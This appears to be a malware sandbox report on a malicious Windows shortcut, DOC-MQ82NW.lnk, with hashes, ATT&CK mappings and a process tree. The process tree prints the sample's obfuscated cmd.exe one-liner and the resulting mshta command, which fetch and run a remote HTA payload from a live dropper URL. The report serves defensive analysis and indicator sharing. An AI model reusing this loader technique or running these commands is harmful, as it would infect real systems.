3cd5015f859ffacf4da709955dfe16b80f2fe4930eeda197fcd48f0f76b705c0

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-MQ82NW.lnk
Size 2KB
Sample260804-ke4d2a1shx
SHA256 3cd5015f859ffacf4da709955dfe16b80f2fe4930eeda197fcd48f0f76b705c0
MD5 2ad8c204512ad5997ea5be6ce88a1b05
SHA1 52b1a12dab67b6de172af475fb2c459606e83edd
SHA512 4f6037c75484a4b57ec7fb9c7d522710dd8583c474754d3381c2eae06765b914635d11286418b8e86bbcf3410b52d875995dc605145d0e25cc2aa260e1405d76
TLSH
T1F04187902AFD059CF3BF9E72EEFE6341897BF9526D61C64D0880814C4822B04E977B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4300	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4300 wrote to memory of 904	4300	cmd.exe	90
PID 904 wrote to memory of 3028	904	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-MQ82NW.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4300
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set ThUh=netpgdklowngrsvvqiqlysetnet&set iUZ=bakjsqzreambak&set jRV=bakzuiiyukuevtxoystmtbak&set Ocmtz=oldamcdijmifbxold&set xI=dbghzyaqmtmdbg&set MWHtF=18smps&&set DCC=wltp&&set inAXE=5eartn&set Re=cfgrxjecopnovhkwetshxhcfg&set PgOTk=6uzmsqos&&set NgK=4yhta2&set fDx=dbgomuzsdbg&set kSWWq=datcuggujiaxadat&set zXqJO=logngudemgrulog&set yo=cfgyuipgxdfvhvycfg&&set mUl=https:/@/ma-@p@dffi@ll@[email protected]@a@t/h/@estag@io1.@php?r=@39146@9FB5D@82@DB&&start /b !PgOTk:~3,2!!NgK:~2,3! !mUl:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3028

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads